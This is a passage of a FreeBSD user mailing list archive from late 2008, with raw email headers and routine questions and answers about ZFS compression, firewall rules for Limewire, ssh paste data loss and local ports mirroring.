Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 2F4D88FC12 for ; Mon, 1 Dec 2008 00:34:35 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB10YTMw004809; Mon, 1 Dec 2008 01:34:29 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB10YRSg004806; Mon, 1 Dec 2008 01:34:28 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 01:34:27 +0100 (CET) From: Wojciech Puchar To: Valentin Bud In-Reply-To: <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> Message-ID: <20081201013409.Y4805@wojtek.tensor.gdynia.pl> References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: vogelke+software@pobox.com, freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 00:34:37 -0000 > This is one of the main reasons i want to go with ZFS. Another would be the > filesystem level compression of the data. I have noticed that 3dmax > files (one of > the programs the company works with) are very "compressable" (from 50 > Mb to ~ 7Mb). will it be majority of data??? From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:03:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5FEB7106564A for ; Mon, 1 Dec 2008 02:03:30 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.168]) by mx1.freebsd.org (Postfix) with ESMTP id 273DC8FC36 for ; Mon, 1 Dec 2008 02:03:30 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2453438wfg.7 for ; Sun, 30 Nov 2008 18:03:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:face:mime-version :content-type:content-transfer-encoding; bh=rYrQ6GRd+oMT60oQMq/Fl7AkNkuuIRm179E3aTpbTro=; b=YD18NeJHws/60u5ZbtLib1S385GKz+Ey5daGYkli1UsORbCIIo+8W0DB2yzGAnXeT1 J2CvdhNPtFsB1HJtRHJDBEdnXIb9sFz6i1Qy1U6eyxEYAcCVAuARp4Lq8gQbuO7TsBAW pQvG8LJnktQXq1oGF13eXcokji/8cVixeKhfk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :face:mime-version:content-type:content-transfer-encoding; b=sCKfJhVvgD8Jn0RD3cDFKV9aIpt60WvK4Lw8KpMPBRKZRZB3FIzTAqfebJS4ALkig5 /9RFgGde7qcc5Cn+H87kdmUwg5a6G5DnY/UHZri25yb9K+aN1vMOUM62RAOKkRONjCzi Q+ftPEzItD2xXdvkI37A1BzG7Quo8fCRfIIdI= Received: by 10.142.78.8 with SMTP id a8mr4295557wfb.348.1228097009694; Sun, 30 Nov 2008 18:03:29 -0800 (PST) Received: from ayiin (124-170-24-179.dyn.iinet.net.au [124.170.24.179]) by mx.google.com with ESMTPS id 27sm4871707wff.31.2008.11.30.18.03.25 (version=SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 18:03:28 -0800 (PST) Date: Mon, 1 Dec 2008 13:03:05 +1100 From: Norberto Meijome To: freebsd-questions@freebsd.org Message-ID: <20081201130305.0424216c@ayiin> In-Reply-To: <492F9032.6060906@a1poweruser.com> References: <492E60A8.6080105@a1poweruser.com> <27ade5280811270927o1aa1bdeem320ffba24e70814d@mail.gmail.com> <492F9032.6060906@a1poweruser.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.1) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: pf or ipf rules to allow p2p Limewire through X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:03:30 -0000 On Fri, 28 Nov 2008 14:31:14 +0800 Fbsd1 wrote: > I think you are missing the fact that limewire does not use dedicated > port numbers. Every session uses different port numbers and the remote > computers come in on different hight port numbers. Limewire starts off > with a proto igmp multicast packet to the limewire master server where > all the other users online computers are listed. Hi there, not totally true, it's quite easy. You can configure your client to listen on 1 specific port, disable UPNP, and tell it to advertise itself on the same port number . Then punch a hole from your firewall device straight to your client on that port (both tcp + udp) and you'll be connected QUITE well that way. you may not make it to ultrapeer in every run, but you just may after a while ;). B _________________________ {Beto|Norberto|Numard} Meijome Quantum Logic Chicken: The chicken is distributed probabalistically on all sides of the road until you observe it on the side of your course. I speak for myself, not my employer. Contents may be hot. Slippery when wet. Reading disclaimers makes you go blind. Writing them is worse. You have been Warned. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:04:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0E08B106567B for ; Mon, 1 Dec 2008 02:04:06 +0000 (UTC) (envelope-from eagletree@hughes.net) Received: from smtprelay.b.hostedemail.com (smtprelay0080.b.hostedemail.com [64.98.42.80]) by mx1.freebsd.org (Postfix) with ESMTP id B9DDE8FC26 for ; Mon, 1 Dec 2008 02:04:05 +0000 (UTC) (envelope-from eagletree@hughes.net) Received: from filter.hostedemail.com (b-bigip1 [10.5.19.254]) by smtprelay02.b.hostedemail.com (Postfix) with SMTP id F209238A6B5C for ; Mon, 1 Dec 2008 02:04:03 +0000 (UTC) X-SpamScore: 1 X-Spam-Summary: 2, 0, 0, f1de0b0fe1d55a79, 944facfeb153b4f0, eagletree@hughes.net, freebsd-questions@freebsd.org, RULES_HIT:152:355:379:541:564:599:601:945:946:960:966:967:968:973:980:988:989:1260:1261:1277:1311:1313:1314:1345:1359:1437:1513:1515:1516:1518:1521:1534:1542:1593:1594:1676:1711:1730:1747:1766:1792:2196:2198:2199:2200:2234:2393:2525:2553:2559:2563:2682:2685:2827:2857:2859:2933:2937:2939:2942:2945:2947:2951:2954:3022:3027:3355:3636:3740:3865:3866:3867:3868:3869:3870:3871:3872:3873:3874:3876:3877:3934:3936:3938:3941:3944:3947:3950:3953:3956:3959:4385:4860:5007:6114:6117:6119:6120:7652:7679:7901:7903:8501:8603:9010:9025:9388:9391, 0, RBL:none, CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0, MSF:not bulk, SPF:, MSBL:none, DNSBL:none Received: from [192.168.0.3] (dpc6744118153.direcpc.com [67.44.118.153]) (Authenticated sender: eagletree@hughes.net) by omf09.b.hostedemail.com (Postfix) with ESMTP for ; Mon, 1 Dec 2008 02:03:58 +0000 (UTC) Mime-Version: 1.0 (Apple Message framework v753) In-Reply-To: References: Content-Type: text/plain; charset=UTF-8; delsp=yes; format=flowed Message-Id: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> Content-Transfer-Encoding: quoted-printable From: Chris Date: Sun, 30 Nov 2008 18:03:49 -0800 To: FreeBSD-Questions Questions X-Mailer: Apple Mail (2.753) X-session-marker: 6561676C6574726565406875676865732E6E6574 Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:04:06 -0000 On Nov 30, 2008, at 2:20 PM, Eugene Pimenov wrote: > > > On 30 =D0=BD=D0=BE=D1=8F=D0=B1, 23:20, Ivan Voras = wrote: >> >> I regularly do copy-pastes of textual data of that size (and =20 >> larger) in >> interactive sessions (with text editors) without problems, between >> FreeBSD machines and from Linux to FreeBSD machines. Are you sure =20 >> it's >> not a problem with your terminal application and not on the server =20= >> side? >> (try a different terminal). > > Tried a different terminal. iTerm to be exact. The same problem, the > same number of bytes. > I was curious about your situation and set up a couple of tests. Noting you mentioned iTerm, I thought I might be able to recreate it on a Mac (OS-X 10.4 with 1.4.3 (100) version Terminal, I had removed iTerm due to unreliability sometime back). I copied a 23094 byte program I was working on locally in MacVIM. I =20 first did a cat >testfile then pasted through an ssh terminal.app connection =20 over satellite (very bad connection) into a FreeBSD 7.0 box I built in the last month. At the far end it received 23094 bytes. sftp of the file to the remote and diff showed no differences. I then opened an ssh session to a FreeBSD =20= server on my local lan and repeated with the same results. No problems. The problem does not appear to be obvious or common so there must be =20 something unique about how this situation if you have reproduced it on two different terminal programs using ssh that would work correctly to other servers using the same shell and collection method (e.g. cat >blah). Something missing here. Have you checked if you have errors shown on the interface of the server? Are there losses if you =20 sftp the files from your machine to the remote (Try pushing a 1.5 MB file and see if that shows failures). Did you install something other than the =20= default OpenSSH on the server? Do the text files have something other than text in them or even control sequences for the remote? Just taking =20 potshots here. A somewhat side note here, I would personally never think to move =20 files this way since it's quite possible that content of files can disrupt the =20 stream. I tend to use sftp. > A friend of mine tried from gentoo linux on his laptop (he'is using > yakukake (terminal)), and reproduced the same issue, but different > amount of bytes (3221 for the server that receives 5181 from me). > > Is there some stupid sysctl setting? or something like that? I'm so > tired of pasting into a linux box and wget from it into a freebsd box. > >> >> signature.asc >> < 1K=D0=B1=D0=9F=D1=80=D0=BE=D1=81=D0=BC=D0=BE=D1=82=D1=80=D0=B5=D1=82=D1= =8C=D0=97=D0=B0=D0=B3=D1=80=D1=83=D0=B7=D0=B8=D1=82=D1=8C > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-=20 > unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:06:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 61924106564A for ; Mon, 1 Dec 2008 02:06:29 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.172]) by mx1.freebsd.org (Postfix) with ESMTP id 23C808FC1B for ; Mon, 1 Dec 2008 02:06:29 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2454612wfg.7 for ; Sun, 30 Nov 2008 18:06:28 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:face:mime-version :content-type:content-transfer-encoding; bh=OmUYdotOzy8EBlEyvUoEDpyPBOSMGqaRDVLkeo8j8+I=; b=lVTIZFIvKS/QEEIyTZCDi3XENPCTr+H6ZJ2P8Lo+v94HQKLcWXlV4Vxmzb+0BEos6R nzOQWALbezYIqf4SzHsRRaFIAQczlq2gdNB8jDUguT898enrhYkDGxouYzj5rwqOV/7Q acc0vt8kX8yOCgfFAUlFZuX5xt86XTpNYWeRc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :face:mime-version:content-type:content-transfer-encoding; b=tSdi1Lgmr0FC0lY2Zd9zlzToFJ2FhLMwCLbbGw0UX4CJwPRNX0RMc3kgqy4VUzD1zu T3FgbXMrmVLp4MMjb5lxN9WdJaYFHzJ5SPLUslsnOjBXSVvYIiXyFkcsEvbWnAwDAEKs JqH9NX60wpSUTYq1MEn9D1OxaH7KvmgOXLd28= Received: by 10.142.214.11 with SMTP id m11mr4322312wfg.57.1228097188513; Sun, 30 Nov 2008 18:06:28 -0800 (PST) Received: from ayiin (124-170-24-179.dyn.iinet.net.au [124.170.24.179]) by mx.google.com with ESMTPS id 27sm4874062wff.31.2008.11.30.18.06.24 (version=SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 18:06:26 -0800 (PST) Date: Mon, 1 Dec 2008 13:06:13 +1100 From: Norberto Meijome To: freebsd-questions@freebsd.org Message-ID: <20081201130613.2511028b@ayiin> In-Reply-To: <20081127120731.P1759@wojtek.tensor.gdynia.pl> References: <492D51CB.9000201@a1poweruser.com> <20081126081306.17qwm4xcthtwcgw0o@intranet.casasponti.net> <20081126174157.C66781@wojtek.tensor.gdynia.pl> <20081126194804.26273396.dick@nagual.nl> <492DEC60.9070105@a1poweruser.com> <27ade5280811262230x319bff2ajc65b8df771c9143f@mail.gmail.com> <20081127120731.P1759@wojtek.tensor.gdynia.pl> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.1) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: firewall rules for bitlord, yahoo, limewire X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:06:29 -0000 On Thu, 27 Nov 2008 12:07:50 +0100 (CET) Wojciech Puchar wrote: > > Yeah. Limewire is written in Java (iirc), which makes it extremely > > easy to port it to any system that can run java. > > for P2P sharing rtorrent (/usr/ports/net-p2p/rtorrent) works excellent if you only want BT ... didn't know rtorrent supported gnutella... _________________________ {Beto|Norberto|Numard} Meijome "I abhor a system designed for the 'user', if that word is a coded pejorative meaning 'stupid and unsophisticated'. Ken Thompson I speak for myself, not my employer. Contents may be hot. Slippery when wet. Reading disclaimers makes you go blind. Writing them is worse. You have been Warned. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:07:28 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 559231065675 for ; Mon, 1 Dec 2008 02:07:28 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.171]) by mx1.freebsd.org (Postfix) with ESMTP id 185E38FC19 for ; Mon, 1 Dec 2008 02:07:27 +0000 (UTC) (envelope-from numardbsd@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2454994wfg.7 for ; Sun, 30 Nov 2008 18:07:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:face:mime-version :content-type:content-transfer-encoding; bh=cAQcQWO0KOsldE1sShhT6/eVUc4ldsyDNx59KbT99Uo=; b=TzuqDJMIZ30EStGqP/mGpWV9wj0ybo1UC/mbcgTly+nx6A76PQxPrGeKybq6CALlYW yvKNd5kf/OXcH1vZ75rXTeE5ieF9mohuh8VEADEwkth4r/6JKGdf5FpbChhLtzL2JOcM mo82LH1NZhG/X8g8fhfJ9TbM0FPWMwos+pAao= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :face:mime-version:content-type:content-transfer-encoding; b=tOWc8Yi7Ez/tDEevxV15OJxxlCq0ehL6RWBtDLCv+QLFzrgwwGLbUCLkCvaCyzR2VH Mhswa6bc+dCFKL4uivFOGLm8AU+YkgbZ1A5NjtxP+T6k8r/6xzQFnrtJgrmm+rti4JmX bW2AK4WDzSLa/L8QTNJ4ZoYXIyvoK9kekTPy4= Received: by 10.143.30.10 with SMTP id h10mr4306300wfj.179.1228097247727; Sun, 30 Nov 2008 18:07:27 -0800 (PST) Received: from ayiin (124-170-24-179.dyn.iinet.net.au [124.170.24.179]) by mx.google.com with ESMTPS id 22sm6397603wfg.50.2008.11.30.18.07.21 (version=SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 18:07:26 -0800 (PST) Date: Mon, 1 Dec 2008 13:07:08 +1100 From: Norberto Meijome To: freebsd-questions@freebsd.org Message-ID: <20081201130708.1ed72873@ayiin> In-Reply-To: References: <492D51CB.9000201@a1poweruser.com> <20081126081306.17qwm4xcthtwcgw0o@intranet.casasponti.net> <20081126174157.C66781@wojtek.tensor.gdynia.pl> <20081126194804.26273396.dick@nagual.nl> <492DEC60.9070105@a1poweruser.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.1) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: firewall rules for bitlord, yahoo, limewire X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:07:28 -0000 On Wed, 26 Nov 2008 23:25:21 -0600 "Andrew Gould" wrote: > The Limewire website says it has versions for Windows, Mac OS X, Linux and > others, including OS/2 and Solaris. furthermore, you can just download the source and make it run from within Eclipse (with some tweaks regarding to the GUI toolkit...) B _________________________ {Beto|Norberto|Numard} Meijome "Ugly programs are like ugly suspension bridges: they're much more liable to collapse than pretty ones, because the way humans (especially engineer-humans) perceive beauty is intimately related to our ability to process and understand complexity. A language that makes it hard to write elegant code makes it hard to write good code." Eric Raymond I speak for myself, not my employer. Contents may be hot. Slippery when wet. Reading disclaimers makes you go blind. Writing them is worse. You have been Warned. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:26:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DEDAB1065672 for ; Mon, 1 Dec 2008 02:26:01 +0000 (UTC) (envelope-from juan.pablo.roig@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.168]) by mx1.freebsd.org (Postfix) with ESMTP id B63988FC1A for ; Mon, 1 Dec 2008 02:26:01 +0000 (UTC) (envelope-from juan.pablo.roig@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2462278wfg.7 for ; Sun, 30 Nov 2008 18:26:01 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type; bh=i+rm3PGQug+nQ8jjeZugnkqI0RoPk2xe1r6LOz6Xt/M=; b=tiA9cwUsT7XOtOSsUEyWziYi2J4FDM7pGHj70RdKnlX1zp4Fd1Q2eWFjca77CsgbNU MSsDX9ZRnKDC36iKR52DMbqjPKyajR2PaWYa+emcgNoU+TgDoWVBr9JgXbbIUflSOUpY suCsuHVHHfTi1W9+lKjHU/e9I9VhDWWWySedA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type; b=cLoQMupNzQ2MB80ud7nto5ajb8kzCdrNtOfkPmYdqlL7yA31a3/KfmB90DZM3EPgGh bvKy/pH57iB2EYFerq/kyi1Q5XQP9VvMtdlbe+th42tAVCeKQd9/ykliEt48xh53YYMT 0uxDERk7jmWZr1SeoA8MutnEptHfU3IWNybnY= Received: by 10.142.147.15 with SMTP id u15mr4292679wfd.317.1228096809511; Sun, 30 Nov 2008 18:00:09 -0800 (PST) Received: by 10.142.170.2 with HTTP; Sun, 30 Nov 2008 18:00:09 -0800 (PST) Message-ID: <5ea9ed1c0811301800k1422e70egccec3916a41ee652@mail.gmail.com> Date: Mon, 1 Dec 2008 00:00:09 -0200 From: "Juan Pablo Roig" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: ports mirror X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:26:01 -0000 Hi all: i want trying to make in my lan a mirror of the ports. I have the cvsup mirror , and an rsync of all the ports. But in a client i made a cvsup of the ports list, but then when i make a port it going to get the tar.bz from an external ftp... i have an idea, to nfs mount all the rsynced ports in the client's /usr/ports/distfiles ... but i think there is another way. any ideas? Thanks From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 02:42:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 378EB1065670 for ; Mon, 1 Dec 2008 02:42:08 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from aegis.hamla.org (aegis.hamla.org [206.251.255.39]) by mx1.freebsd.org (Postfix) with ESMTP id 1A6528FC0C for ; Mon, 1 Dec 2008 02:42:07 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from localhost (localhost [127.0.0.1]) by aegis.hamla.org (Postfix) with ESMTP id ECBA25C78 for ; Sun, 30 Nov 2008 21:43:33 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=tandon.net; h= x-virus-scanned:in-reply-to:content-disposition:content-type :mime-version:references:reply-to:message-id:subject:from:date: received; s=aegis; t=1228099413; bh=1j1zzrYgs/tdfLs/yJjF2vFU/jql ee8IpoxODfZyr2Q=; b=u3dALLmRdnXB0k9c2S48KCrAYLaT5sNR9Ty03qsh6ca4 V5LgYJ9DryiOIolXh05WHBwEi45P/esksKH+MbdTJQBbp9gGibViuo3DeBzmlC8z 0hQtebuXQkdmLuEmGWT5VWU+I9wfRZBuHUGtH2m1WVj2NosAAW6lbTesHWTJiUA= Received: from aegis.hamla.org ([127.0.0.1]) by localhost (aegis.hamla.org [127.0.0.1]) (amavisd-new, port 10027) with LMTP id 5F1pGA+YkA8L for ; Sun, 30 Nov 2008 21:43:33 -0500 (EST) Date: Sun, 30 Nov 2008 21:42:06 -0500 From: Sahil Tandon To: freebsd-questions@freebsd.org Message-ID: <20081201024205.GB52294@shepherd> References: <5ea9ed1c0811301800k1422e70egccec3916a41ee652@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5ea9ed1c0811301800k1422e70egccec3916a41ee652@mail.gmail.com> X-Virus-Scanned: ClamAV version 0.94, clamav-milter version 0.94 on aegis.hamla.org X-Virus-Status: Clean Subject: Re: ports mirror X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "freebsd-questions@freebsd.org" List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 02:42:08 -0000 Juan Pablo Roig wrote: > i want trying to make in my lan a mirror of the ports. I have the cvsup > mirror , and an rsync of all the ports. But in a client i made a cvsup of > the ports list, but then when i make a port it going to get the tar.bz from > an external ftp... If you want to grab distfiles from a non-default MASTER_SITE when building ports, look into the MASTER_SITE_OVERRIDE variable. Search for it in the Handbook and ports(7). -- Sahil Tandon From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 04:03:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3EEB71065676 for ; Mon, 1 Dec 2008 04:03:20 +0000 (UTC) (envelope-from brett@net24.co.nz) Received: from omr2.mail.isx.net.nz (omr2.mail.isx.net.nz [210.5.49.99]) by mx1.freebsd.org (Postfix) with ESMTP id D87298FC1C for ; Mon, 1 Dec 2008 04:03:19 +0000 (UTC) 